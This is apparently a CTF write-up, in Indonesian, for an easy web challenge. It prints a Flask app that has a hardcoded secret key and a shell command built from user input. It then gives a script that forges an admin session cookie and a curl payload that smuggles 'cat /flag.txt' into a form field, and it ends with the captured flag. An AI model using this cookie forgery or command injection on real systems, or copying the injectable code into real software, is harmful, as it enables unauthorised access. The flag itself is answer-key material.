Oshiku

Category: Web

Difficulty: easy

Deskripsi

Challenge Sederhana. iya kan?

137.184.250.54:7012

mirror : 146.190.104.208:7012

Author: ZeroEXP

Langkah Penyelesaian

  • Diberikan sebuah file dist.rar, yang setelah diekstrak muncul 2 file berupa aplikasi Flask: app.py & database.db . Berikut adalah source code ke-2 file tersebut.

from flask import *
import sqlite3
import os
import subprocess

app = Flask(__name__)
app.secret_key = 'os.urandom(8)'

# Database connection
DATABASE = "database.db"
def query_database(name):
    query = 'sqlite3 database.db "SELECT biography FROM oshi WHERE name=\'' + str(name) +'\'\"'
    result = subprocess.check_output(query, shell=True, text=True)
    return result

@app.route("/")
def index():
    role = session.get('role')
    if role == "admin":
        return redirect(url_for('admin'))
    elif role == "guest":
        return redirect(url_for('guest'))
    else:
        return redirect(url_for('login'))

@app.route("/login", methods=["GET", "POST"])
def login():
    if request.method == "POST":
        username = request.form.get("username")
        password = request.form.get("password")
        if username == "guest" and password == "guest":
            session['username'] = username
            session['role'] = "guest"
            return redirect(url_for('guest'))
        else:
            return jsonify({"msg": "Bad username or password"}), 401
    return render_template("login.html")

@app.route("/admin", methods=["GET", "POST"])
def admin():
    if 'role' not in session or session['role'] != "admin":
        return jsonify({"msg": "Access forbidden: Admins only"}), 403

    if request.method == "POST":
        selected_name = request.form.get("oshi_name")
        biography = query_database(selected_name)
        return render_template("admin.html", biography=biography)
    return render_template("admin.html", biography="")

@app.route("/guest", methods=["GET", "POST"])
def guest():
    if 'role' not in session or session['role'] != "guest":
        return jsonify({"msg": "Access forbidden: Guests only"}), 403
    return render_template("guest.html")

@app.route("/logout")
def logout():
    session.pop('username', None)
    session.pop('role', None)
    return redirect(url_for('login'))

if __name__ == "__main__":
    app.run(debug=False,host='0.0.0.0')
  • Awal saya analisis file app.py, saya menyadari bahwa secret_key yang digunakan adalah berupa string biasa / tidak random (weak secret key). Dari situ, saya langsung craft python script untuk men-generate sebuah JWT token agar bisa login sebagai admin dengan memanfaatkan role=”admin”. Berikut adalah kodenya.

gen_session_cookie.py
# GENERATE ADMIN SESSION COOKIE USING WEAK SECRET KEY!
from flask.sessions import SecureCookieSessionInterface
from itsdangerous import URLSafeTimedSerializer
import requests

# Fungsi untuk membuat sesi palsu
def create_session(secret_key, data):
    session_interface = SecureCookieSessionInterface()
    serializer = URLSafeTimedSerializer(
        secret_key,
        salt='cookie-session',
        signer_kwargs={'key_derivation': 'hmac', 'digest_method': 'sha1'}
    )
    return serializer.dumps(data)

# URL target
url = "http://146.190.104.208:7012"

# Buat sesi palsu
secret_key = 'os.urandom(8)'
session_data = {'role': 'admin'}
fake_session = create_session(secret_key, session_data)
print(fake_session)
  • Setelah berhasil login sebagai admin, saya coba baca lagi source code flask-nya. Awalnya, saya berpikir jika di fungsi query_database adalah kerentanan SQL Injection, tapi ternyata saya salah. Itu merupakan kerentanan Command Injection. Langsung saja saya craft payloadnya dan coba kirim request tersebut via cURL menggunakan cookie admin yang sudah di-generate sebelumnya.

  • Berikut adalah POC untuk get flag-nya:

solver.sh
curl -X POST -d "oshi_name=freya\"; cat /flag.txt; echo #" --cookie "session=eyJyb2xlIjoiYWRtaW4ifQ.ZrbXaQ.9CjlFr995lsT5RjKbe9D_6t4kMg" http://146.190.104.208:7012/admin

Flag

WRECKIT50{oshikucumansatukok_satujkt}

Last updated